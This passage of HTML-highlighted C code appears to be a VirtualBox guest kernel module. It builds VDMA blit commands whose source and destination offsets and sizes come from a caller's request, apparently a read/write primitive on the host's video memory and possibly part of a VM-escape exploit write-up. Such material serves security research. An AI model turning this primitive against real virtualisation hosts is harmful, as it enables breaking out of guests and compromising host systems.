class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-504\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">cDstSubRects<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-505\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">offSrc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-506\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">offDst<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">g_vram<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-507\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-508\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">width<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-509\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">height<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-510\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">left<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-511\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">top<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-512\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-513\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">width<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-514\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">height<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-515\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">left<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-516\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">top<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-517\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-518\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">width<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-519\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">height<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-520\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">format<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">20<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/*VBOXVDMA_PIXEL_FORMAT_R8G8B8*\/<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-521\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">bpp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-522\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">pitch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-523\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-524\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-525\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">width<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-526\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">height<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-527\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">format<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">20<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/*VBOXVDMA_PIXEL_FORMAT_R8G8B8*\/<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-528\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">bpp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-529\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">pitch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-530\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstDesc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-531\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-532\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIBufferSubmit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">g_hgsmiContext<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-533\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxHGSMIBufferFree<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">g_hgsmiContext<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-534\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">RT_FAILURE<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-535\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Error while sending VMDA command: %dn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-536\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">EFAULT<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-537\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-538\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-539\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">memcpy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-540\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">type<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-541\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-542\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Preparing VMDA command for writing %u bytes (offset=%lu).n&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">offset<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-543\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-544\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-545\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">32<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-546\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACBUF_DR<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-547\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACMD<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-548\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBOXVDMACMD_DMA_PRESENT_BLT<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-549\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-550\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-e\">VBoxHGSMIBufferAlloc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">g_hgsmiContext<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-551\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">header_size<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-552\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">HGSMI_CH_VBVA<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-553\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-cn\">11<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/*VBVA_VDMA_CMD*\/<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-554\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-555\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">printk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Failed to allocate HGSMI memoryn&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-556\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">ENOMEM<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-557\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-558\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-559\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">memcpy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span 